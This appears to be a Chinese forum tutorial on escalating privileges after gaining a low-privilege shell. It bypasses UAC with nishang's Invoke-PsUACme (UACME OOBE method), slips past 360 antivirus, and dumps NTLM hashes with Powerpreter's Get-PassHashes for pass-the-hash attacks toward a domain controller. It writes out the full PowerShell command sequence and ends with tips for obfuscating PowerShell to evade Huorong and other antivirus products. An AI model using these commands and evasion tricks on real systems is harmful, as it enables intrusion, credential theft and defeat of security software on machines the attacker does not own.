用户
搜索

利用 UACME和ps混淆来bypass AV

2019-1-8 14:16| 发布者: 小i| 查看: 51| 评论: 0|原作者: 神裤衩

0x00 前言


1.png

拿到一个服务器的低权限shell之后,一般的思路是提权-导hash-hash传递/17-010/14-068-找文件服务器-打域控,在这一整个链条中前两个提权/导hash也是经常遇坑的地方。本文需要介绍下如何在有Anti Virus的情况下实现提升权限并导出NTLM hash。

0x01 简介

l  Powershell bypassUAC执行命令
l  Powershell混淆绕过anti virus
l  Windows server 2008/win7 nt6内核系统

0x02 Powershell简介

而从2008/win7开始windwos引入了powershell,而powershell是什么?可以简单的认为powershell是利用.net的各类库来实现往常cmd不能实现的功能,基于其强大的功能,往往也成为一些安全软件与系统安全的短板。

0x03 实现过程

回到提权的问题上,在powershell上可以通过bypass uac的操作来绕过系统阻止的访问操作,将自己操作的权限提升到id:500的管理员。
https://www.cnblogs.com/Chesky/p/UAC_Bypass.html有关UAC的概念和bypass相关可以查看上文。这里使用nishang的Invoke-PsUACme.ps1脚本

2.png

https://github.com/hfiref0x/UACME通过dll注入bypass的。测试环境 windows 7

3.png

当前用户权限处于管理员组,但id非500的用户。上传/或者ps动态加载Invoke-PsUACme.ps1到文件/内存中这里为了判断是否成功提升了权限我使用Powerpreter.psm1来导出hash,可以先提前执行下Powerpreter.psm1可以看到权限不够无法导出hash而且AV会拦截并删除脚本:如下图

4.png

已经被拦截了。接下来我bypassuac后在利用执行导hash操作

[Bash shell] 纯文本查看 复制代码
Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Users\123>powershell -exe bypass
Windows PowerShell

版权所有 (C) 2009 Microsoft Corporation。保留所有权利。
PS C:\Users\123> Import-Module.\Desktop\Invoke-PsUACme.ps1
PS C:\Users\123> cd .\Desktop
PS C:\Users\123\Desktop>  Invoke-PsUACme -method oobe -Payload"powershell -exE
bypass Import-Module C:\Users\123\Desktop\Powerpreter.psm1;Get-PassHashes> C:\Users\123\Desktop\1.txt"
Using OOBE method

5.png

可以看到,360并没有对执行的命令进行拦截。

6.png

桌面上生成了1.txt代表命令成功的执行了。

7.png

可以看到 hash已经导出来了,在内网中接下来就是hash传递了。慢慢搞。

0x05 小结

这里再简单说下ps混淆,有的杀软对于编码混淆检查的比较严格,有的只是检查了参数传递的关键字,通过大小写,分号切割等方法都可以绕过,还有很多比如cs自动生成的ps命令,只需要控制将隐藏窗口控制台参数去掉就可以绕过火绒/等一些常见的国内av。有时间的话整理下ps混淆应对杀软的特点。


鲜花
鲜花
握手
握手
雷人
雷人
路过
路过
鸡蛋
鸡蛋